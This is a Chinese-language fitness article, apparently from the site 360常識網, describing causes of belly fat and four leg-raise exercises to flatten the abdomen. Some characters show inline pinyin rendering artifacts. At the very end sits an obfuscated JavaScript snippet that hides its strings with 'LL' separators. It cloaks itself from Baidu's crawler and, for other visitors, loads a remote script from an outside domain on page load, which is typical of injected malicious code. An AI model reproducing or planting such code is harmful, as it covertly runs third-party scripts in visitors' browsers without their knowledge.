當(dāng)前位置:首頁 > 減肥 > 運動減肥 > 正文

肚子贅肉厚鼓起像懷孕 每天堅持幾個動作腹部越平坦

2019-07-09 07:50:11  來源:360常識網(wǎng)   熱度:
導(dǎo)語:如今很多人的肚子上都有一些肉,也就是我們所說的小肚子。小肚子會我們看起來臃腫,這時購置衣物就成了一件棘手的事情。購買衣服時,不論穿

如今很多人的肚子上都有一些肉,也就是我們所說的小肚子。小肚子會我們看起來臃腫,這時購置衣物就成了一件棘手的事情。購買衣服時,不論穿什么都不好看,瘦子穿上很漂亮的衣服,換上有小肚子的人穿,就變成了孕婦裝,這讓人痛苦不已。因此減肥成為人們的一大難題。但是肥肉是頑強的,一旦上身就很難被甩掉。這時我們常常會聽到兩個字,減脂。減脂是比較有效的減肥攻略,也是比較科學(xué)的一種減肥方法。那么針對贅肉一層層的情況,下面360常識網(wǎng)給大家分享一些對收縮腹部有用的動作,大家可以每天都練一下。肚子贅肉厚,鼓起像懷孕?每天堅持4個動作,腹部越來越苗條。

肚子贅肉厚,鼓起像懷孕?每天堅持4個動作,腹部越來越苗

形成原因

脂肪堆積。腰腹部一直是人體最易堆積脂肪的部位,因此小肚子的出現(xiàn),也變得順理成章。可是,小肚子偏偏對形體美觀的影響最大。夏天到了,該展示款款纖腰時,偏偏多了個鼓鼓的小肚子影響美觀,怎不讓人扼腕痛恨。

一、坐式生活 :不愛運動,平日久坐可謂是現(xiàn)代人最普遍的通病;吃飽飯后就坐著看電視,或是邊吃零食邊上網(wǎng)。攝取食物后繼續(xù)坐著不動,糖分都轉(zhuǎn)換為脂肪,變成贅肉囤積在腹部。

解決辦法:注意縮小腹:走路和站立時,要記得用力縮腹,再配合腹式呼吸,也許前一兩天會覺得很辛苦,但日子一久,你就可以看見自己的小腹肌肉變得緊實,能達(dá)到瘦身的功效。

二、生活壓力 :面對工作壓力,許多人都會借大吃來紓解心中的壓力,或者是常常吃過飽,吃到很撐才停止,不知不覺中就過多地攝入熱量和不必要的食物,容易造成腸胃突出。

解決辦法:運用腹式呼吸法:腹式呼吸的方法其實很簡單,當(dāng)我們吸氣時,肚皮脹起、呼氣時,肚皮縮緊。雖然剛開始可能不太習(xí)慣,但習(xí)慣了,有助于刺激腸胃蠕動、促進(jìn)體內(nèi)廢物排出,另一方面也能使氣流順暢,增加肺活量。

三、姿勢不良 :不少人腹部的肌肉力量不夠,坐著的時候習(xí)慣將身體攤在椅背上,不自覺地將后腰部騰空,或者是走路習(xí)慣彎腰駝背的人,身體會不知不覺向前傾,小腹也就跟著來報到了。

解決辦法:保持正確的姿勢:走路時放松肩部,雙臂自然擺動,下腹提起,保持稍微緊張的狀態(tài)。而平日要長期坐在寫字樓里的女性,坐姿絕對要端正,盡量把臀部深深坐到椅子上,使腰部和背部挺起來。

四、排便不暢 :不少女性都有便秘的困擾,一旦長期便秘,人體的廢物會堆積在腸子里,腸子表面就像過濾器,濾孔被塞阻后,就會形成慢性腹脹。

肚子贅肉厚,鼓起像懷孕?每天堅持4個動作,腹部越來越苗

健康飲食消除便秘: 為了消除便秘,盡量減少暴食暴飲,多進(jìn)食纖維質(zhì)食品如食品。多吃利于排便的碳水化合物,早晨空腹飲一杯礦泉水, 再喝含有纖維質(zhì)的酸奶,刺激腸胃,達(dá)到腸胃蠕動、促進(jìn)便意的功效。如果有便秘的話,必須去醫(yī)院接受診斷,采取適當(dāng)?shù)拇胧?/p>

提肛運動:除了要常常提醒自己縮小腹,做提肛運動及勤走樓梯,可以讓脂肪不再受地心引力影響而往下垂;此外常坐辦公 室的女性, 可利用辦公室的椅子,將上半身維 持挺直,骨盆往后倒,坐于屁股上,然后再慢慢將臀部往上拉,至緊繃處再恢復(fù)原狀。有助于刺激腸胃蠕動、促進(jìn)體內(nèi)廢物排出。

洗浴按摩效果好:洗浴時利用溫水淋浴器在肚臍周圍順著順時針方向做按摩,然后從下腹部到胸部以下也做一下按摩。在浴室洗浴時,可以冷水-溫水-冷水的順序進(jìn)行洗浴,對燃燒脂肪和增加肌肉彈性有很好的效果。

肚子贅肉厚,鼓起像懷孕?每天堅持4個動作,腹部越來越苗

一、用雙腿畫圈圈

1.選擇平坦的地方,或者躺在床上。仰臥,將上半身貼緊地面,雙臂放在身體的兩邊,雙腳并攏并且伸直,接著讓雙腳離地。

2.將雙腳向上抬起,并向一邊畫圓圈,最后讓雙腿回到原本的狀態(tài),等雙腳回到原來的起點后再反方向畫圓圈。

注意:動作過程中要保持上半身處于穩(wěn)定狀態(tài),畫圈的時候主要靠腰部或者說下腹部發(fā)力,而不是用腳帶動。每天做10次左右即可,若感覺自己還可以做,那么也可以多做幾個,視個人情況而定。

二、仰臥單側(cè)抬腿

1.與第1條一樣先仰臥,將上半身貼緊地面,將雙手放在臀部的兩邊。

2.將其中的一條腿屈膝后像踩地一樣踏下,另一條腿伸直,并且向上抬起到跟地面成為45度角時停頓一下

3.慢慢下放還原,還原的時候雙腳不要落地。

【注意】這個動作左右各做兩次。

肚子贅肉厚,鼓起像懷孕?每天堅持4個動作,腹部越來越苗

三、抬腿

1.仰臥,將上半身貼緊地面,雙臂放在身體的兩邊,雙腿并攏,伸直后直接雙腳離地。

2.向上屈膝將雙腿抬起,當(dāng)動作到頂點的時候稍微停一下,之后慢慢的還原,還原時雙腳最好不要著地。

【注意】每組20次

四、仰臥抬腿

仰臥,將上半身貼緊地面,雙手放在身體的兩邊,將雙腿伸直以及并攏,如需負(fù)重可以雙腳夾住一個重物。下腹部發(fā)力將雙腿抬起到跟地面成為45度角的時候,再慢慢還原動作,記住還原的時候,雙腳不要離地面。

以上幾個動作,剛開始做時會有一些難度,過了一段時間就會有比較好的變化。若你的身體不太好,做了之后出現(xiàn)疼痛的感覺,那么要及時停止。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}